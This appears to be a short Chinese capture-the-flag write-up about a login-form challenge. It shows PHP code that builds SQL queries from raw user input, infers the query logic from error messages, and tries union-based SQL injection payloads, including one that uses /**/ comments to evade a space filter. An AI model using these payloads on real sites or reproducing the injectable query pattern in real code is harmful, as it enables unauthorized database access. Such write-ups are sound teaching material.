拿到题目登录框
这里了解一下登录框的两种查询模式
一种是直接对用户输入的账号名和密码进行查询
$username=$_POST['username'];
$password=$_POST['password'];
$sql='select * from user where username='$username' and password='$password'';
#查询
#登陆成功第二种方法就是通过先查询用户名,如果用户存在之后验证密码是不是和数据库里面的密码一样。
#第二种方法就是通过先查询用户名,如果用户存在之后验证密码是不是和数据库里面的密码一样。
$username=$_POST['username']; $password=$_POST['password']; $sql='select password from user where username='$username'';
#查询
if($row){
if($row['password']==$password) { echo 'success';
else{ echo 'fail';}
}
else{
echo '用户不存在';
}
二者区别就是用户名和密码是否同时验证
这里根据题目
admin 123 -->密码错误
admin admin -->密码错误
aaa 123 -->用户不存在
判断出验证方式为第二种
尝试
' union select 1#
1
尝试注释符代替空格绕过
'/**/union/**/ select/**/1#
1
![](https://i-blog.csdnimg.cn/blog_migrate/399fe111307294626a52f46dbd4bdc10.png)